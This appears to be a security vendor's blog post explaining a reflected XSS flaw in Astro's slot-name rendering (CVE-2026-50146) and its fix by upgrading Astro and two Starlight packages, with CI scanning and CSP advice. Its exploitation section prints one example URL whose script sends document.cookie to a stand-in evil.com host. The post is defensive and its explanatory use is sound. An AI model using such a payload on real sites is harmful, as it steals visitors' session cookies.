Back to Blog
critical SEVERITY7 min read

How Reflected XSS happens in Astro and how to fix it

CVE-2026-50146 is a reflected cross-site scripting (XSS) vulnerability in Astro versions prior to 6.3.3, where unescaped slot names could be injected into rendered HTML. The fix upgrades Astro from 5.18.1 to 6.3.3 (along with related packages `@astrojs/starlight` and `starlight-blog`), closing a code path that allowed attacker-controlled input to reach the browser without sanitization. Any Astro-based site that renders dynamic slot names from untrusted sources was potentially exposed to session

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-50146 is a reflected XSS vulnerability (CWE-79) in the Astro JavaScript framework affecting versions up to 5.18.1. It arises because slot names in Astro components were not HTML-escaped before being written into the rendered output, allowing an attacker to inject arbitrary JavaScript via a crafted URL. The fix is to upgrade Astro to 6.3.3 (and the companion packages `@astrojs/starlight` to 0.38.x and `starlight-blog` to 0.26.x), which properly escapes slot name values before rendering. Trivy flagged this in `pnpm-lock.yaml`, and the change is limited to `package.json` and `pnpm-lock.yaml`.

Vulnerability at a Glance

cweCWE-79
fixUpgrade astro from 5.18.1 to 6.3.3, @astrojs/starlight to 0.38.5, and starlight-blog to 0.26.1
riskAttacker injects JavaScript into a victim's browser session via a crafted URL
languageJavaScript / TypeScript (Astro framework)
root causeAstro 5.x did not HTML-escape slot names before inserting them into rendered output
vulnerabilityReflected Cross-Site Scripting (XSS)

How Reflected XSS Happens in Astro and How to Fix It

The Vulnerability at a Glance

Field Detail
CVE CVE-2026-50146
Severity HIGH
CWE CWE-79 – Improper Neutralization of Input During Web Page Generation
Affected versions Astro ≤ 5.18.1
Fixed in Astro 6.3.3
Detected by Trivy (rule CVE-2026-50146) in pnpm-lock.yaml

Introduction

The pnpm-lock.yaml file in this project pinned Astro to version 5.18.1 — a version that Trivy's vulnerability database now flags as containing a reflected XSS flaw. CVE-2026-50146 describes a scenario where unescaped slot names in Astro components are written directly into rendered HTML, giving an attacker a vector to inject arbitrary JavaScript into a visitor's browser session simply by crafting a malicious URL.

For developers building documentation sites, marketing pages, or any public-facing Astro application, this is a concrete reminder that framework-level output encoding is not always a given — and that dependency pinning without regular updates can quietly accumulate exploitable risk.


The Vulnerability Explained

What Are Slot Names in Astro?

Astro's component model supports named slots, which allow parent components to inject content into specific regions of a child component. A slot might be referenced like this:

<!-- Parent -->
<MyLayout>
  <article slot="main-content">Hello world</article>
</MyLayout>

The slot attribute value ("main-content" in this case) is used internally by Astro's rendering engine to route content. In Astro 5.x, the code path that handles these slot names did not apply HTML escaping before writing the name into the rendered output.

The Vulnerable Code Path

While the slot-name escaping bug lives inside Astro's own internals (not directly in the application's source files), the vulnerability is surfaced through the locked dependency in pnpm-lock.yaml:

# BEFORE (vulnerable)
astro:
  specifier: ^5.6.1
  version: 5.18.1(@types/node@24.12.0)(rollup@4.60.0)(typescript@5.9.3)

Any Astro component that renders a slot whose name is derived from — or reflected back from — a URL parameter, query string, or other user-controlled input would pass that value through the unescaped rendering pipeline.

How an Attacker Exploits This

Consider a documentation site (exactly the kind of site that @astrojs/starlight and starlight-blog are built for) that constructs a slot name dynamically based on a URL fragment or query parameter for tab-based navigation:

---
// Simplified illustration of the vulnerable pattern
const activeTab = Astro.url.searchParams.get('tab') ?? 'overview';
---
<TabLayout>
  <section slot={activeTab}>...</section>
</TabLayout>

With Astro 5.x's unescaped slot handling, an attacker could craft a URL like:

https://docs.example.com/guide?tab="><script>document.location='https://evil.com/steal?c='+document.cookie</script>

Astro would render the slot name verbatim into the HTML output. When a victim clicks that link, the injected <script> tag executes in their browser — stealing session cookies, redirecting to phishing pages, or performing actions on their behalf.

Real-World Impact

For a documentation or blog site powered by @astrojs/starlight and starlight-blog:

  • Session hijacking: Authentication cookies sent to an attacker-controlled server.
  • Credential phishing: A fake login overlay injected over the legitimate page.
  • Malware distribution: The attacker redirects visitors to a drive-by download.
  • Reputation damage: Users associate the injected content with the legitimate site.

Because this is reflected XSS (not stored), it requires social engineering to deliver the malicious URL — but phishing campaigns, shortened URLs, and SEO poisoning all make that a realistic threat.


The Fix

What Changed

The fix is a targeted dependency upgrade across two files — package.json and pnpm-lock.yaml — bumping three interrelated packages to versions that include the escaping fix:

Package Before After
astro 5.18.1 6.3.3
@astrojs/starlight 0.37.7 0.38.5
starlight-blog 0.25.3 0.26.1

Before and After

package.json — Before:

{
  "dependencies": {
    "@astrojs/starlight": "^0.37.6",
    "astro": "^5.6.1",
    "starlight-blog": "^0.25.2"
  }
}

package.json — After:

{
  "dependencies": {
    "@astrojs/starlight": "^0.38.0",
    "astro": "^6.3.3",
    "starlight-blog": "^0.26.0"
  }
}

pnpm-lock.yaml — Before:

astro:
  specifier: ^5.6.1
  version: 5.18.1(@types/node@24.12.0)(rollup@4.60.0)(typescript@5.9.3)

'@astrojs/starlight':
  specifier: ^0.37.6
  version: 0.37.7(astro@5.18.1(...))

starlight-blog:
  specifier: ^0.25.2
  version: 0.25.3(@astrojs/starlight@0.37.7(...))(astro@5.18.1(...))

pnpm-lock.yaml — After:

astro:
  specifier: ^6.3.3
  version: 6.3.3(@types/node@24.12.0)(rollup@4.60.0)

'@astrojs/starlight':
  specifier: ^0.38.0
  version: 0.38.5(astro@6.3.3(...))

starlight-blog:
  specifier: ^0.26.0
  version: 0.26.1(@astrojs/starlight@0.38.5(...))(astro@6.3.3(...))

Why All Three Packages?

@astrojs/starlight and starlight-blog are peer-dependent on a specific major version of Astro. Upgrading Astro to v6 required upgrading both companion packages to their v6-compatible releases. This is a common pattern in the Astro ecosystem — the lock file's peer-dependency resolution chains mean you can't safely upgrade one without the others.

The change is deliberately minimal in scope: only the three packages on the vulnerable dependency path were updated. No application logic, configuration, or content was modified, preserving existing behavior for all valid inputs.


Prevention & Best Practices

1. Keep Framework Dependencies Current

Lock files (pnpm-lock.yaml, package-lock.json, yarn.lock) provide reproducibility but can also lock in vulnerabilities. Establish a process to review and update dependencies regularly — at minimum, subscribe to security advisories for your core frameworks.

2. Run a Vulnerability Scanner in CI

Trivy detected this issue by scanning pnpm-lock.yaml against its CVE database. Add a step like this to your CI pipeline:

# GitHub Actions example
- name: Run Trivy vulnerability scanner
  uses: aquasecurity/trivy-action@master
  with:
    scan-type: 'fs'
    scan-ref: '.'
    severity: 'HIGH,CRITICAL'
    exit-code: '1'

3. Avoid set:html with Unvalidated Input

Astro's set:html directive bypasses the framework's auto-escaping. Never use it with values derived from URL parameters, form inputs, or any other user-controlled source:

<!-- DANGEROUS: bypasses escaping -->
<div set:html={Astro.url.searchParams.get('content')} />

<!-- SAFE: Astro auto-escapes this -->
<div>{Astro.url.searchParams.get('content')}</div>

4. Implement a Content Security Policy

A strict CSP is a defense-in-depth measure that limits the damage if XSS does occur:

<meta http-equiv="Content-Security-Policy"
  content="default-src 'self'; script-src 'self'; object-src 'none';">

5. Reference Standards

  • OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  • CWE-79: https://cwe.mitre.org/data/definitions/79.html

Key Takeaways

  • Astro 5.x did not escape slot names before rendering — any dynamic slot name derived from user input was a reflected XSS vector.
  • pnpm-lock.yaml is a security artifact, not just a reproducibility tool. Scanning it with Trivy revealed the vulnerable 5.18.1 pin immediately.
  • Upgrading Astro from 5.18.1 to 6.3.3 resolves CVE-2026-50146 by fixing the escaping logic inside the framework's rendering pipeline.
  • Peer-dependency chains matter: bumping Astro's major version required co-upgrading @astrojs/starlight (0.37.7 → 0.38.5) and starlight-blog (0.25.3 → 0.26.1) to maintain compatibility.
  • Reflected XSS in documentation sites is a real threat — these sites are publicly indexed, widely linked, and often trusted by developers who might be logged in to related services.

How Orbis AppSec Detected This

  • Source: The attacker-controlled value enters via a crafted URL — specifically through slot name values that Astro's 5.x rendering pipeline reflected without escaping.
  • Sink: Astro's internal slot-name rendering code in version 5.18.1, which wrote the unescaped slot identifier directly into the HTML output delivered to the browser.
  • Missing control: HTML entity encoding / output escaping was absent for slot name values in Astro's component rendering path prior to version 6.3.3.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: Upgraded astro from 5.18.1 to 6.3.3 in pnpm-lock.yaml and package.json, which introduces proper escaping of slot names in the rendering pipeline.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-50146 is a sharp reminder that framework internals are part of your attack surface. You don't have to write eval() or innerHTML yourself to introduce XSS — a version of Astro that doesn't escape slot names is enough. The fix here is clean and contained: two files changed, three packages bumped, zero behavior change for legitimate users.

The broader lesson is that dependency scanning belongs in every CI pipeline, and lock files deserve the same security scrutiny as hand-written code. A single Trivy scan of pnpm-lock.yaml was all it took to surface this HIGH-severity issue before it could be exploited.


References

Frequently Asked Questions

What is reflected XSS?

Reflected XSS occurs when user-supplied input is immediately echoed back in an HTTP response without proper encoding, allowing an attacker to craft a URL that injects executable JavaScript into a victim's browser.

How do you prevent reflected XSS in Astro?

Keep Astro and its ecosystem packages up to date, avoid using `set:html` with unvalidated input, and rely on Astro's built-in auto-escaping for all dynamic values including slot names.

What CWE is reflected XSS?

Reflected XSS maps to CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Is a Content Security Policy (CSP) enough to prevent reflected XSS?

A strict CSP can significantly reduce the impact of XSS, but it is a defense-in-depth measure, not a substitute for proper output encoding. The root cause must still be fixed at the framework level.

Can static analysis detect reflected XSS in Astro projects?

Yes. Tools like Trivy (which flagged this exact CVE in `pnpm-lock.yaml`) and Semgrep can identify known-vulnerable package versions and unsafe HTML rendering patterns automatically.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #820

Related Articles

critical

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser caused by improper handling of DOCTYPE entity declarations, allowing attackers to inject malicious scripts through crafted XML input. The fix upgrades the library from vulnerable versions (4.5.3 and 5.2.3) to patched releases (4.5.7 and 5.10.1), closing the attack vector in production code. This matters because fast-xml-parser is widely used to process user-supplied XML in Node.js applications, making any XSS flaw

high

How Unsafe eval() in JavaScript Happens in React Components and How to Fix It

A high-severity code injection vulnerability was discovered in `TurnPlanner.tsx`, where the `parseInputExpr` function used JavaScript's `Function` constructor — effectively `eval()` — to evaluate user-provided mathematical expressions. The regex guard in place only checked for the presence of arithmetic operators, not whether the input was safe to execute, leaving the door open for arbitrary JavaScript injection. A targeted whitelist fix was applied to reject any input containing characters outs

critical

How Unsanitized IPC Data Injection happens in Electron/HTML and how to fix it

A content injection vulnerability in `src/NankaiTrough.html` allowed attacker-controlled IPC message data to flow directly into DOM properties without type coercion or validation. The fix explicitly converts all `request.data` fields to strings using `String()` with fallback defaults before assigning them to `document.title` and `innerText` properties, eliminating the risk of prototype pollution and unexpected object-to-string coercion attacks.

critical

How Cross-Site Scripting (XSS) happens in JavaScript innerHTML and how to fix it

A stored Cross-Site Scripting (XSS) vulnerability in `hasheous/wwwroot/pages/dataobjectdetail.js` allowed attackers with Moderator or Admin privileges to inject malicious HTML into DataObject attribute fields, executing arbitrary JavaScript in every visitor's browser. The fix replaces unsafe `innerHTML` assignments with `textContent` for plain text and a sanitized markdown renderer for AI-generated descriptions, eliminating the injection vector entirely.

high

How Stored XSS via Unsanitized GitHub README HTML Happens in JavaScript and How to Fix It

A high-severity stored Cross-Site Scripting (XSS) vulnerability was discovered in `custom_components/hacs_vision/frontend/panel.js`, where the backend fetched GitHub's pre-rendered README HTML and the frontend injected it directly into the DOM without sanitization. An attacker who controls a GitHub repository could embed malicious JavaScript in their README that executes automatically when any HACS Vision user views that repository's details, potentially exfiltrating credentials or hijacking the

critical

How eval() Code Injection happens in JavaScript and how to fix it

A critical code injection vulnerability was discovered in `js/lib/jsencrypt.js` at line 195, where a direct `eval()` call executed a JavaScript string shim for the `process` object in browser environments. If an attacker could influence the string passed to `eval()`—through a compromised dependency, a man-in-the-middle attack, or supply chain tampering—they could achieve arbitrary JavaScript execution in any user's browser. The fix replaces the `eval()` call with the equivalent inline JavaScript